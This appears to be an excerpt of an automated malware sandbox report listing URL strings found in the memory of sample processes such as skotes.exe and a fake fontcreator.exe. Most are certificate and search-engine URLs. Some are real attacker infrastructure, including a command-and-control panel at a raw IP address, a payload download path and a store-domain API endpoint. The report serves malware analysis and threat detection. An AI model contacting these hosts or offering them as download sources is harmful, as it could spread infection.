Source: skotes.exe, 00000007.00000003.3950766153.00000000006FD000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpUsers
Source: skotes.exe, 00000007.00000002.4108997518.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded?
Source: skotes.exe, 00000007.00000003.3950766153.00000000006FD000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpgPZk
Source: skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpm
Source: skotes.exe, 00000007.00000002.4108997518.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000007.00000002.4108997518.00000000006FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#E6
Source: skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/fac00b58987e8fff7a7df309c5441f056fc49#
Source: skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ferences.SourceAumid0#
Source: skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ones
Source: skotes.exe, 00000007.00000002.4108997518.000000000068F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fontcreator.exe
Source: skotes.exe, 00000007.00000002.4108997518.000000000068F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fontcreator.exe1
Source: skotes.exe, 00000007.00000002.4108997518.000000000068F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fontcreator.exeVj
Source: is-5MQTR.tmp.11.dr	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: file.exe, 00000000.00000003.1710460669.0000000005259000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622025924.0000000005E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1710460669.0000000005259000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622025924.0000000005E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: is-5MQTR.tmp.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: is-5MQTR.tmp.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ccsca2021.crl.certum.pl/ccsca2021.crl0s
Source: skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ccsca2021.ocsp-certum.com05
Source: fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/cscasha2.crl0q
Source: skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/ctnca2.crl0l
Source: skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/ctsca2021.crl0o
Source: is-5MQTR.tmp.11.dr	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: is-5MQTR.tmp.11.dr	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: 9eba8044e7.exe, 0000003B.00000003.2855743384.000000000175A000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2661592904.0000000001750000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2780256079.000000000174F000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2658844288.0000000001750000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2646382472.0000000001750000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2644669787.000000000174F000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2604035926.000000000174F000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2649295106.0000000001750000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2659412598.0000000001750000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2645715684.0000000001750000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2621305300.000000000174F000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622372839.000000000174F000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2657488907.0000000001750000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2727777421.000000000174F000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2604802086.000000000174F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft:
Source: file.exe, 00000000.00000003.1710460669.0000000005259000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622025924.0000000005E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: file.exe, 00000000.00000003.1710460669.0000000005259000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622025924.0000000005E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1710460669.0000000005259000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622025924.0000000005E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: is-5MQTR.tmp.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: is-5MQTR.tmp.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: file.exe, 00000000.00000003.1710460669.0000000005259000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622025924.0000000005E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: is-5MQTR.tmp.11.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: file.exe, 00000000.00000003.1710460669.0000000005259000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622025924.0000000005E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cscasha2.ocsp-ce
Source: fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cscasha2.ocsp-certum.com04
Source: file.exe, 00000000.00000003.1710460669.0000000005259000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622025924.0000000005E62000.00000004.00000800.00020000.00000000.sdmp, is-5MQTR.tmp.11.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: is-5MQTR.tmp.11.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: is-5MQTR.tmp.11.dr	String found in binary or memory: http://ocsp.entrust.net02
Source: is-5MQTR.tmp.11.dr	String found in binary or memory: http://ocsp.entrust.net03
Source: file.exe, 00000000.00000003.1710460669.0000000005259000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622025924.0000000005E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.us
Source: fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum
Source: skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/ccsca2021.cer0
Source: fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/cscasha2.cer0
Source: skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/ctnca2.cer09
Source: skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/ctsca2021.cer0A
Source: skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://subca.ocsp-certum.com01
Source: skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://subca.ocsp-certum.com02
Source: skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://subca.ocsp-certum.com05
Source: Updater.exe, 0000002E.00000000.2496101011.0000000000DD5000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.certum.pl/CPS0
Source: is-5MQTR.tmp.11.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: is-5MQTR.tmp.11.dr	String found in binary or memory: http://www.entrust.net/rpa03
Source: file.exe, 00000000.00000003.1710460669.0000000005259000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622025924.0000000005E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1710460669.0000000005259000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622025924.0000000005E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1682461036.000000000524F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682514952.0000000005238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.1711669897.000000000081D000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641822483.0000000005E2C000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2640673951.0000000005E23000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641188561.0000000005E28000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2644211752.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000003.1711669897.000000000081D000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641822483.0000000005E2C000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2640673951.0000000005E23000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641188561.0000000005E28000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2644211752.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1682461036.000000000524F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682514952.0000000005238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1682461036.000000000524F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682514952.0000000005238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1682461036.000000000524F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682514952.0000000005238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.1711669897.000000000081D000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641822483.0000000005E2C000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2640673951.0000000005E23000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641188561.0000000005E28000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2644211752.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000003.1711669897.000000000081D000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641822483.0000000005E2C000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2640673951.0000000005E23000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641188561.0000000005E28000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2644211752.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1682461036.000000000524F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682514952.0000000005238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1682461036.000000000524F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682514952.0000000005238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1682461036.000000000524F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682514952.0000000005238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 9eba8044e7.exe, 0000003B.00000003.2644211752.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://jrsoftware.org/
Source: fontcreator.exe, 00000008.00000000.2426191198.0000000000CC1000.00000020.00000001.01000000.0000000E.sdmp, fontcreator.exe, 00000015.00000000.2457565272.00000000009D7000.00000020.00000001.01000000.00000013.sdmp	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://jrsoftware.org0
Source: 9eba8044e7.exe, 0000003B.00000003.2727777421.0000000001763000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2623509191.0000000001771000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622372839.0000000001763000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2855624046.0000000001763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: 9eba8044e7.exe, 0000003B.00000003.2855624046.0000000001763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/:
Source: file.exe, 00000000.00000003.1784942272.00000000007E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/B
Source: 9eba8044e7.exe, 0000003B.00000003.2727777421.0000000001763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/D
Source: 9eba8044e7.exe, 0000003B.00000003.2603936780.000000000176E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/J
Source: 9eba8044e7.exe, 0000003B.00000003.2725396199.000000000177E000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2720333364.000000000177A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/_
Source: file.exe, 00000000.00000003.1750097386.00000000007F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1833944782.0000000000768000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1833739536.000000000080A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749526956.0000000000816000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2603936780.000000000176E000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2603984252.000000000177B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.1833739536.000000000080A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749526956.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api-y
Source: file.exe, 00000000.00000003.1784795247.00000000007F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743147793.00000000007F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750097386.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiC
